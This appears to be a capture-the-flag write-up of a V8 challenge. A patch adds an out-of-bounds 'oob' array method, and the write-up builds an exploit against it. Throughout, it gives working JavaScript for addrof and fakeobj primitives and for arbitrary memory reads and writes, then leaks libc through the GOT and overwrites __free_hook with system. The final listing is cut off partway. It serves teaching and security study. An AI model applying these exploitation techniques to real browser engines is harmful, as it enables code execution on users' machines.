The Challenge

The actual challenge

The Patch

Let's first read the patch itself:

diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 }  // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}
 
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayOob)                                                                \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();
 
     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:

In essence, there is a new function ArrayOob that is implemented. We can see it's added to the array object as a .oob() method:

+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);

There's the odd bit of other stuff thrown around for getting it working, but the actual source of the challenge is (unsurprisingly) ArrayOob itself (with a name like that, who would have thought?). Cleaned up a little, it looks like this:

BUILTIN(ArrayOob){
    uint32_t len = args.length();
    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
    
    Handle<JSReceiver> receiver;
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
        isolate, receiver, Object::ToObject(isolate, args.receiver())
    );
    
    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
    uint32_t length = static_cast<uint32_t>(array->length()->Number());
    
    if(len == 1) {
        //read
        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
    } else {
        //write
        Handle<Object> value;
        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
            isolate, value, Object::ToNumber(isolate, args.at<Object>(1))
        );
        elements.set(length,value->Number());
        return ReadOnlyRoots(isolate).undefined_value();
    }
}

Familiarity with the V8 codebase is unlikely, and even if you are familiar with it, it's unlikely you can read it like a native language.

  • It looks at the number of arguments the function takes, then stores it in len

    • If len is greater than 2, it throws an error (note that the first argument is always this, so in reality it's just one).

  • It then gets the array in question, stored in array

  • array is cast to a FixedDoubleArray, an array of fixed size that stores doubles, called elements

    • The length of the array is stored in length

  • If there is no argument (len == 1, i.e. only this is passed) then elements[length] is returned as a number

    • This is a clear Out-Of-Bounds (OOB) Read, as arrays in javascript are zero-indexed like most other programming languages

  • If an argument is given, elements[length] is set to the value that is the argument cast to a Number with Object::ToNumber

    • This is a clear Out-Of-Bounds (OOB) Write, for the same reason as above

So we have a very clear OOB vulnerability, allowing both a read and a write to one index further than the maximum length of the array. This begs an important question: what exists past the end of an array?

First, let's talk about data types in V8 and how they are represented.

Values and their Types

V8 uses pointers, doubles and smis (standing for immediate small integers). Since it has to distinguish between these values, they are all stored in memory with slight differences.

  • A double is stored as its 64-bit binary representation (easy)

  • An smi is a 32-bit number, but it's stored as itself left-shifted by 32 so the bottom 32 bits are null

    • e.g. 0x12345678 is stored as 0x1234567800000000

  • A pointer to an address addr is stored as addr | 1, that is the least significant bit is set to 1.

    • e.g. 0x12345678 is stored as 0x12345679

    • This helps differentiate it from an smi, but not from a double!

Saelo's paper refers to pointers as HeapObjects as well.

Integers in V8

Any output you get will always be in floating-point form; this is because V8 actually doesn't have a way to express 64-bit integers normally. We need a way to convert floating-point outputs to hexadecimal addresses (and vice versa!). To do this, we'll use the standard approach, which is as follows:

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { // typeof(val) = float
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

function itof(val) { // typeof(val) = BigInt
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

You'll see these functions in most V8 exploits. They essentially just convert between interpreting data as floating-point form or as integers.

We're going to throw this into a javascript file exploit.js. If we want to use these functions, we can simply pass them to d8 in the command line:

./d8 --shell ./exploit.js

Maps

The Map is an incredibly important V8 data structure, storing key information such as

  • The dynamic type of the object (e.g. String, Uint8Array, etc)

  • The size of the object in bytes

  • The properties of the object and where they are stored

  • The type of the array elements (e.g. unboxed doubles, tagged pointers, etc)

Each javascript object is linked to a map. While the property names are usually stored in the map, the values are stored with the object itself. This allows objects with the same sort of structure to share maps, increasing efficiency.

There are three different regions that property values can be stored

  • Inside the object itself (inline properties)

  • In a separate dynamically-sized heap buffer (out-of-line properties)

  • If the property name is an integer index, then as array elements in a dynamically-sized heap array

    • to be honest, not entirely sure that this means, but I'll get it eventually

In the first two cases, the Map stores each property of the object with a linked slot number. Each object then contains all of the property values, matching with the slot number of the relevant property. The object does not store the name of the property, only the slot number.

I promise this makes sense - for example, let's take two array objects:

var object1 = {a: 20, b: 40};
var object2 = {a: 30, b: 60};

Once this is run, memory will contain two JSObject instances and one Map:

We can see that the Map stores the properties a and b, giving them the slot values 0 and 1 respectively. The two objects object1 and object2, because of their identical structure, both use Map1 as a map. The objects do not themselves know the name of the properties, only the slot values, which they assign a value to.

However, if we add another property - say c, with value 60 - to object1, they stop sharing the map:

If we then added a property c to object2, they would then share Map1 again! This works assigning each map something called a transition table, which is just a note of which map to transition to if a property of a certain name (and possibly type) are added to it. In the example above, Map2 would make a note that if a property c is added to object2 then it should transition to use Map1.

Let's see how this works out in memory for arrays using the debug version of d8, along with the incredibly helpful %DebugPrint() feature that comes along with it. We'll run it under gdb so we can analyse memory as well, and make connections between all the parts.

What exists after the end of an Array?

Instead of creating our own objects, let's focus specifically on how it works for arrays, as that is what we are dealing with here.

$ gdb d8 
gef➤  run --allow-natives-syntax
V8 version 7.5.0 (candidate)
d8> a = [1.5, 2.5]
[1.5, 2.5]
d8> %DebugPrint(a)
DebugPrint: 0x30b708b4dd71: [JSArray]
 - map: 0x09bccc0c2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x2358a3991111 <JSArray[0]>
 - elements: 0x30b708b4dd51 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
 - length: 2
 - properties: 0x3659bdb00c71 <FixedArray[0]> {
    #length: 0x0418bc0c01a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x30b708b4dd51 <FixedDoubleArray[2]> {
           0: 1.5
           1: 2.5
 }
0x9bccc0c2ed9: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 32
 - inobject properties: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x09bccc0c2e89 <Map(HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x0418bc0c0609 <Cell value= 1>
 - instance descriptors #1: 0x2358a3991f49 <DescriptorArray[1]>
 - layout descriptor: (nil)
 - transitions #1: 0x2358a3991eb9 <TransitionArray[4]>Transition array #1:
     0x3659bdb04ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x09bccc0c2f29 <Map(HOLEY_DOUBLE_ELEMENTS)>

 - prototype: 0x2358a3991111 <JSArray[0]>
 - constructor: 0x2358a3990ec1 <JSFunction Array (sfi = 0x418bc0caca1)>
 - dependent code: 0x3659bdb002c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

[1.5, 2.5]
d8>

That is a lot of information. Let's sift through the relevant parts.

Firstly, we notice that a is a type JSArray, stored in memory at 0x30b708b4dd70. The array's map is stored at 0x09bccc0c2ed8, with the properties (in this case length) stored at 0x3659bdb00c70. The elements themselves are in a FixedDoubleArray stored at 0x30b708b4dd50.

Remember pointer tagging! All the addresses are represented as addr | 1, so we have to subtract off 1 for every pointer to get the real location!

Let's view memory itself. Hit Ctrl-C and you'll go to the gef prompt. Let's view the memory at the location of the JSArray object itself, 0x30b708b4dd70.

gef➤  x/4gx 0x30b708b4dd70
0x30b708b4dd70:	0x000009bccc0c2ed9	0x00003659bdb00c71
0x30b708b4dd80:	0x000030b708b4dd51	0x0000000200000000

So the JSArray first has its pointer to its own map, then a pointer to its properties, then a pointer to its elements and then its length (note that length will be an smi, so a length of 2 is actually represented in memory as 2<<32!).

One thing that is very curious is that the the elements array is actually located 0x20 bytes ahead of memory from the JSArray object itself. Interesting! Let's view it:

gef➤  x/10gx 0x000030b708b4dd50
0x30b708b4dd50:	0x00003659bdb014f9	0x0000000200000000  <- elements (map, length)
0x30b708b4dd60:	0x3ff8000000000000	0x4004000000000000  <- array entries
0x30b708b4dd70:	0x000009bccc0c2ed9	0x00003659bdb00c71  <- JSArray
0x30b708b4dd80:	0x000030b708b4dd51	0x0000000200000000
0x30b708b4dd90:	0x00003659bdb01cc9	0x0000000400000000

Note that elements itself is a FixedDoubleArray, so the first value will be a pointer to its map at 0x00003659bdb014f8; this map doesn't concern us right now. The next value is the length of the FixedDoubleArray, the smi of 0x2 again. After this, it gets interesting.

As expected, the next two entries are the doubles representing 1.5 and 2.5, the entries in the array:

gef➤  p/f 0x3ff8000000000000
$1 = 1.5
gef➤  p/f 0x4004000000000000
$2 = 2.5

But immediately after in memory is the original JSArray. So? Well, if we have an OOB read/write to an extra index past the array, the value we are accessing is the pointer in the JSArray that points to the map. We can write to and read the map of the array.

Just to confirm this is correct, we're going to run the release version of d8 and check the output of .oob(). The reason we have to use release is that the debug version has a lot more safety and OOB checks (I assume for fuzzing purposes) so will just break if we try to use a.oob(). We need to run it with --shell exploit.js, and you'll see why in a second.

$ gdb d8 
gef➤  run --allow-natives-syntax --shell exploit.js
V8 version 7.5.0 (candidate)
d8> a = [1.5, 2.5]
[1.5, 2.5]
d8> a.oob()
2.28382032514e-310

Now we need to use our ftoi() function to convert it to a hexadecimal integer:

d8> ftoi(a.oob()).toString(16)
"2a0a9af82ed9"

Note that ftoi() only exists because of the --shell, which is why we needed it.

If our reasoning is correct, this is a pointer to the map, which is located at 0x2a0a9af82ed9. Let's compare with GDB tells us:

d8> %DebugPrint(a)
0x2d83ee78e0b9 <JSArray[2]>
[1.5, 2.5]
d8> ^C
gef➤  x/4gx 0x2d83ee78e0b8
0x2d83ee78e0b8:	0x00002a0a9af82ed9	0x00000db811140c71
0x2d83ee78e0c8:	0x00002d83ee78e099	0x0000000200000000

The first value at the location of the JSArray is, as we saw earlier, the pointer to the map. Not only that, but we successfully read it! Look - it's 0x2a0a9af82ed9 again!

Now we know we can read and write to the map that the array uses. How do we go from here?

Abusing Map Control

Values vs Pointers

The important thing to note is that sometimes a program will store values (pass by value), and sometimes it will store a pointer to a value (pass by reference). We can abuse this functionality, because an array of doubles will store the double values themselves while an array of objects will store pointers to the objects.

This means there is an extra link in the chain - if we do array[2] on an array of doubles, V8 will go to the address in memory, read the value there, and return it. If we do array[2] on an array of objects, V8 will go to the address in memory, read the value there, go to that address in memory, and return the object placed there.

We can see this behaviour by defining two arrays, one of doubles and one of custom objects:

var float_arr = [1.5, 2.5]
var obj1 = {a: 1, b: 2}
var obj2 = {a: 5, b: 10}
var obj_arr = [obj1, obj2]
gef➤  run --allow-natives-syntax --shell exploit.js
V8 version 7.5.0 (candidate)
d8> var float_arr = [1.5, 2.5] 
undefined
d8> var obj1 = {a: 1, b: 2}
undefined
d8> var obj2 = {a: 5, b: 10}
undefined
d8> var obj_arr = [obj1, obj2]
undefined
d8> %DebugPrint(float_arr)
0x3a38af88e0c9 <JSArray[2]>
[1.5, 2.5]
d8> %DebugPrint(obj_arr)
0x3a38af8915f1 <JSArray[2]>
[{a: 1, b: 2}, {a: 5, b: 10}]

Break out to gef and see the elements of both arrays.

float_arr:

gef➤  x/4gx 0x3a38af88e0c8
0x3a38af88e0c8:	0x0000179681882ed9	0x0000389170c80c71
0x3a38af88e0d8:	0x00003a38af88e0a9	0x0000000200000000
gef➤  x/4gx 0x00003a38af88e0a8    <-- access elements array
0x3a38af88e0a8:	0x0000389170c814f9	0x0000000200000000
0x3a38af88e0b8:	0x3ff8000000000000	0x4004000000000000

Again, 1.5 and 2.5 in floating-point form.

obj_arr:

gef➤  x/4gx 0x3a38af8915f0
0x3a38af8915f0:	0x0000179681882f79	0x0000389170c80c71
0x3a38af891600:	0x00003a38af8915d1	0x0000000200000000
gef➤  x/4gx 0x00003a38af8915d0    <-- access elements array
0x3a38af8915d0:	0x0000389170c80801	0x0000000200000000
0x3a38af8915e0:	0x00003a38af8904f1	0x00003a38af8906b1

Note that the elements array in the second case has values 0x3a38af8904f1 and 0x3a38af8906b1. If our suspicions are correct, they would be pointers to the objects obj1 and obj2. Do c to continue the d8 instance, and print out the debug for the objects:

d8> %DebugPrint(obj1)
0x3a38af8904f1 <Object map = 0x17968188ab89>
{a: 1, b: 2}
d8> %DebugPrint(obj2)
0x3a38af8906b1 <Object map = 0x17968188ab89>
{a: 5, b: 10}

And look - so beautifully aligned!

Leaking Object Addresses

What happens if we overwrite the map of an object array with the map of a float array? Logic dictates that it would treat it as a double rather than a pointer, resulting in a leak of the location of obj1! Let's try it.

d8> var map_float = float_arr.oob()
d8> obj_arr.oob(map_float)
d8> ftoi(obj_arr[0]).toString(16)
"3a38af8904f1"

We leak 0x3a38af8904f1 - which is indeed the location of obj1! We therefore can leak the location of objects. We call this an addrof primitive, and we can add another function to our exploit.js to simplify it:

var float_arr = [1.5, 2.5];
var map_float = float_arr.oob();

var initial_obj = {a:1};	// placeholder object
var obj_arr = [initial_obj];
var map_obj = obj_arr.oob();

function addrof(obj) {
    obj_arr[0] = obj;			// put desired obj for address leak into index 0
    obj_arr.oob(map_float);		// change to float map
    let leak = obj_arr[0];		// read address
    obj_arr.oob(map_obj);		// change back to object map, to prevent issues down the line
    return ftoi(leak);			// return leak as an integer
}

Really importantly, the reason we can set map_obj and get the map is because obj_arr.oob() will return the value as a double, which we noted before! If it returned that object itself, the program would crash. You can see this in my Download Horsepower writeup.

We can load it up in d8 ourselves and compare the results:

$ gdb d8 
gef➤  run --allow-natives-syntax --shell exploit.js
V8 version 7.5.0 (candidate)
d8> obj = {a:1}
{a: 1}
d8> %DebugPrint(obj)
0x031afef4ebe9 <Object map = 0x3658c164ab39>
{a: 1}
d8> addrof(obj).toString(16)
"31afef4ebe9"

Perfect, it corresponds exactly!

Creating Fake Objects

The opposite of the addrof primitive is called a fakeobj primitive, and it works in the exact opposite way - we place a memory address at an index in the float array, and then change the map to that of the object array.

function fakeobj(addr) {
    float_arr[0] = itof(addr);  // placed desired address into index 0
    float_arr.oob(map_obj);     // change to object map
    let fake = float_arr[0];    // get fake object
    float_arr.oob(map_float);   // swap map back
    return fake;                // return object
}

Arbitrary Reads

From here, an arbitrary read is relatively simple. It's important to remember that whatever fakeobj() returns is an object, not a read! So if the data there does not form a valid object, it's useless.

The trick here is to create a float array, and then make the first index a pointer to a map for the float array. We are essentially faking an array object inside the actual array. Once we call fakeobj() here, we have a valid, faked array.

But why does this help? Remember that the third memory address in a JSArray object is an elements pointer, which is a pointer to the list of values actually being stored. We can modify the elements pointer by accessing index 2 of the real array, faking the elements pointer to point to a location of our choice. Accessing index 0 of the fake array will then read from the fake pointer!

[TODO image, but not sure what exactly would help]

Because we need an index 2, we're going to make the array of size 4, as 16-byte alignment is typically nice and reduces the probability of things randomly breaking.

// array for access to arbitrary memory addresses
var arb_rw_arr = [map_float, 1.5, 2.5, 3.5];
console.log("[+] Address of Arbitrary RW Array: 0x" + addrof(arb_rw_arr).toString(16));

Now we want to start an arb_read() function. We can begin by tagging the pointer, and then placing a fakeobj at the address of the arb_rw_arr:

function arb_read(addr) {
    // tag pointer
    if (addr % 2n == 0)
        addr += 1n;

    // place a fake object over the elements FixedDoubleArray of the valid array
    let fake = fakeobj(addrof(arb_rw_arr));
}

HOWEVER - this is not quite right! We want fake to point at the first element of the FixedDoubleArray elements, so we need an offset of 0x20 bytes back (doubles are 8 bytes of space each, and we know from before that elements is just ahead of the JSArray itself in memory), so it looks like this:

function arb_read(addr) {
    // tag pointer
    if (addr % 2n == 0)
        addr += 1n;

    // place a fake object over the elements FixedDoubleArray of the valid array
    // we know the elements array is placed just ahead in memory, so with a length
    // of 4 it's an offset of 4 * 0x8 = 0x20 
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
}

Now we want to access arb_rw_arr[2] to overwrite the fake elements pointer in the fake array. We want to set this to the desired RW address addr, but again we need an offset! This time it's 0x10 bytes, because the first index is 0x10 bytes from the start of the object as the first 8 bytes are a map and the second 8 are the length smi:

// overwrite `elements` field of fake array with address
// we must subtract 0x10 as there are two 64-bit values
// initially with the map and a size smi, so 0x10 offset
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);

And finally we return the leak. Putting it all together:

// array for access to arbitrary memory addresses
var arb_rw_arr = [map_float, 1.5, 2.5, 3.5];
console.log("[+] Address of Arbitrary RW Array: 0x" + addrof(arb_rw_arr).toString(16));

function arb_read(addr) {
    // tag pointer
    if (addr % 2n == 0)
        addr += 1n;

    // place a fake object over the elements FixedDoubleArray of the valid array
    // we know the elements array is placed just ahead in memory, so with a length
    // of 4 it's an offset of 4 * 0x8 = 0x20 
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);

    // overwrite `elements` field of fake array with address
    // we must subtract 0x10 as there are two 64-bit values
    // initially with the map and a size smi, so 0x10 offset
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);

    // index 0 will returns the arbitrary read value
    return ftoi(fake[0]);
}

Arbitrary Writes

Initial Fail

Logic would dictate that we could equally get an arbitrary write using the same principle, by simply setting the value instead of returning it. Unfortunately, not quite - if we look at Faith's original writeup, the initial_arb_write() function fails:

function initial_arb_write(addr, val) {
    // place a fake object and change elements, as before
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);

    // Write to index 0
    fake[0] = itof(BigInt(val));
}

Note that we're not explicitly accounting for pointer tagging here. This is not because it's not important, but because the way we've set up addrof and fakeobj preserves the tagging, and since we're working with static offsets of multiples of 0x10 the tag is preserved. If we tried to explicitly write to a location, we would have to tag it. If we wanted to be very thorough, we would put pointer tagging explicitly in all functions.

In the blog post they tell us they're not sure why, and goes on to explain the intended method with ArrayBuffer backing pointers. In a short twitter conversation we had they tell us that

The arbitrary write doesn't work with certain addresses due to the use of floats. The overwrite had precision loss with certain addresses, but this wasn't the case with ArrayBuffer backing pointers. The code handles that differently compared to the elements ptr.

I can confirm that running the initial_arb_write() does, in fact, crash with a SIGSEGV. If anybody finds a fix, I'm sure they would be very interested (and I would too).

ArrayBuffer Backing Pointers

An ArrayBuffer is simply used to represent a generic raw binary data buffer. We combine this with the DataView object to provide a low-level interface for reading and writing multiple number types. These number types includes the ever-useful setInt64(), which is where our reliability for handling the integers probably comes from.

The backing store of an ArrayBuffer is much like the elements of a JSArray, in that it points to the address of the object that actually stores the information. It's placed 0x20 bytes ahead of the ArrayBuffer in memory (which you can check with GDB).

We will have to use the initial_arb_write() to perform this singular write, and hope that the address precision is good enough (if not, we just run it again).

function arb_write(addr, val) {
    // set up ArrayBuffer and DataView objects
    let buf = new ArrayBuffer(8);
    let dataview = new DataView(buf);
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x20n;

    // write address to backing store
    initial_arb_write(backing_store_addr, addr);
    // write data to offset 0, with little endian true
    dataview.setBigUint64(0, BigInt(val), true);
}

Getting RCE

From here, it's similar to userland exploitation.

Overwriting __free_hook() with system()

The simplest approach, as any call to console.log() will inevitably be freed immediately after. To do this, we'll need a libc leak.

In order for it to be reliable, it'll have to be through a section of memory allocated by V8 itself. We can use GDB to comb throught the memory of the area that stored the maps. I'm going to get exploit.js to print out a bunch of the addresses we have. I'll then try and retrieve every single notable address I can.

console.log("[+] Float Map: 0x" + ftoi(map_float).toString(16))
console.log("[+] Object Map: 0x" + ftoi(map_obj).toString(16))

Running it multiple times, the last 4 digits are consistent, implying that they're a fixed offset:

[+] Float Map: 0x2b1dc2e82ed9
[+] Object Map: 0x2b1dc2e82f79

That bodes well. Running vmmap, we can find the region they are in:

gef➤  vmmap
[...]
0x00002b1dc2e80000 0x00002b1dc2ec0000 0x0000000000000000 rw-
[...]

So the offsets appear to be 0x2ed9 and 0x2f79. Let's throw that into exploit.js and see if that's right by running it again and again. It appears to be, but randomly there is an issue and the address is not even in assigned memory - I assume it's at least in part due to the floating-point issues.

Now we have that, let's try combing through the map region and see if there are any other interesting values at fixed offsets.

$ gdb ./d8 
gef➤  run --allow-natives-syntax --shell exploit.js
[+] Address of Arbitrary RW Array: 0x64d2a00f499
[+] Float Map: 0x1d8734482ed9
[+] Object Map: 0x1d8734482f79
[+] Map Region Start: 0x1d8734480000
V8 version 7.5.0 (candidate)
d8> ^C
gef➤  vmmap
[...]
0x00001d8734480000 0x00001d87344c0000 0x0000000000000000 rw- 
[...]
0x0000555555554000 0x00005555557e7000 0x0000000000000000 r-- /home/andrej/Desktop/oob-v8/v8/out.gn/x64.release/d8
0x00005555557e7000 0x00005555562af000 0x0000000000293000 r-x /home/andrej/Desktop/oob-v8/v8/out.gn/x64.release/d8
0x00005555562af000 0x00005555562ef000 0x0000000000d5b000 r-- /home/andrej/Desktop/oob-v8/v8/out.gn/x64.release/d8
0x00005555562ef000 0x00005555562f9000 0x0000000000d9b000 rw- /home/andrej/Desktop/oob-v8/v8/out.gn/x64.release/d8
0x00005555562f9000 0x00005555563c6000 0x0000000000000000 rw- [heap]
[...]
0x00007ffff7005000 0x00007ffff71ec000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff71ec000 0x00007ffff73ec000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff73ec000 0x00007ffff73f0000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff73f0000 0x00007ffff73f2000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so
[...]
gef➤  x/200gx 0x1d8734480000
0x1d8734480000:	0x0000000000040000	0x0000000000000004
0x1d8734480010:	0x00005555563a7f60	0x000055555631a2e0
0x1d8734480020:	0x00001d8734480000	0x0000000000040000
0x1d8734480030:	0x0000555556329b60	0x00001d8734480001
0x1d8734480040:	0x0000555556394e90	0x00001d8734480138
0x1d8734480050:	0x00001d87344c0000	0x0000000000000000
0x1d8734480060:	0x0000000000000000	0x0000000000000000
[...]

We can see that, very close to the start of the region, there appear to be two heap addresses (and more later). This makes sense, as many maps will point to areas of the heap as the heap stores dynamically-sized data.

That seems more useful than what we have right now, so let's grab that and see if the offset is constant. Right now, the offsets are 0xaef60 and 0x212e0. They appear to be constant. Let's throw those leaks in too.

let heap_leak = arb_read(map_reg_start + 0x10n);
let heap_base = heap_leak - 0xaef60n;
console.log("[+] Heap Base: 0x" + heap_base.toString(16))

It all seems to be pretty good, but a heap leak itself is not the most helpful. Let's keep digging, but looking at the heap this time, as that is probably more likely to store libc or binary addresses.

gef➤  x/200gx 0x5555562f9000
0x5555562f9000 <_ZN2v85Shell15local_counters_E+2400>:	0x0000000000000000	0x0000000000000000
0x5555562f9010 <_ZN2v85Shell15local_counters_E+2416>:	0x0000000000000000	0x0000000000000000
0x5555562f9020 <_ZN2v85Shell15local_counters_E+2432>:	0x0000000000000000	0x0000000000000000
[...]

Ok, pretty useless. What about if we actually use the heap addresses we have, and see if there's anything useful there? The first one has nothing useful, but the second:

gef➤  x/10gx 0x000055555631a2e0
0x55555631a2e0:	0x00005555562dbea8	0x0000000000001000
0x55555631a2f0:	0x0000000000001000	0x0000000000000021
[...]

The vmmap output for this specific run shows a binary base of 0x555555554000 and a heap base of 0x5555562f9000. This makes the first address a binary address! Let's make sure it's a consistent offset from the base, and we're also gonna swap out our exploit to use the second heap address we spotted in the map region. And it is!

let heap_leak = arb_read(map_reg_start + 0x18n);
let heap_base = heap_leak - 0x212e0n;
console.log("[+] Heap Base: 0x" + heap_base.toString(16));

let binary_leak = arb_read(heap_leak);
let binary_base = binary_leak - 0xd87ea8n;
console.log("[+] Binary Base: 0x" + binary_base.toString(16));

Now we just have to work out the GOT offset and read the entry to find libc base!

readelf -a d8 | grep -i read
[...]
000000d9a4c0  003d00000007 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0
[...]

So the GOT entry is an offset of 0xd9a4c0 from base. Easy leak:

let read_got = binary_base + 0xd9a4c0n;
console.log("[+] read@got: 0x" + read_got.toString(16));
let read_libc = arb_read(read_got);
console.log("[+] read@libc: 0x" + read_libc.toString(16));
let libc_base = read_libc - 0xbc0430n;
console.log("[+] LIBC Base: 0x" + libc_base.toString(16));

Then we just need to get system and free_hook offsets, and we are good to go. Pretty easy from inside GDB:

gef➤  p &system
$1 = (int (*)(const char *)) 0x7ffff7054420 <__libc_system>
gef➤  p &__free_hook
$2 = (void (**)(void *, const void *)) 0x7ffff73f28e8 <__free_hook>

With base 0x7ffff7005000, the offsets are easy to calculate:

// system and free hook offsets
let system = libc_base + 0x4f420n;
let free_hook = libc_base + 0x3ed8e8n;

And we can overwrite free hook and pop a calculator:

console.log("[+] Exploiting...");
arb_write(free_hook, system);
console.log("xcalc");

It does, in fact, work!

Full Exploit
// conversion functions
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { // typeof(val) = float
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

function itof(val) { // typeof(val) = BigInt
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

// others
var float_arr = [1.5, 2.5];
var map_float = float_arr.oob();

var initial_obj = {a:1};	// placeholder object
var obj_arr = [initial_obj];
var map_obj = obj_arr.oob();

function addrof(obj) {
    obj_arr[0] = obj;			// put desired obj for address leak into index 0
    obj_arr.oob(map_float);		// change to float map
    let leak = obj_arr[0];		// read address
    obj_arr.oob(map_obj);		// change back to object map, to prevent issues down the line
    return ftoi(leak);			// return leak as an integer
}

function fakeobj(addr) {
    float_arr[0] = itof(addr);  // placed desired address into index 0
    float_arr.oob(map_obj);     // change to object map
    let fake = float_arr[0];    // get fake object
    float_arr.oob(map_float);   // swap map back
    return fake;                // return object
}

// array for access to arbitrary memory addresses
var arb_rw_arr = [map_float, 1.5, 2.5, 3.5];
console.log("[+] Address of Arbitrary RW Array: 0x" + addrof(arb_rw_arr).toString(16));

function arb_read(addr) {
    // tag pointer
    if (addr % 2n == 0)
        addr += 1n;

    // place a fake object over the elements FixedDoubleArray of the valid array
    // we know the elements array is placed just ahead in memory, so with a length
    // of 4 it's an offset of 4 * 0x8 = 0x20 
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);

    // overwrite `elements` field of fake array with address
    // we must subtract 0x10 as there are two 64-bit values
    // initially with the map and a size smi, so 0x10 offset
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);

    // index 0 will returns the arbitrary read value
    return ftoi(fake[0]);
}

function initial_arb_write(addr, val) {
    // place a fake object and change elements, as before
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);

    // Write to index 0
    fake[0] = itof(BigInt(val));
}

function arb_write(addr, val) {
    // set up ArrayBuffer and DataView objects
    let buf = new ArrayBuffer(8);
    let dataview = new DataView(buf);
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x20n;

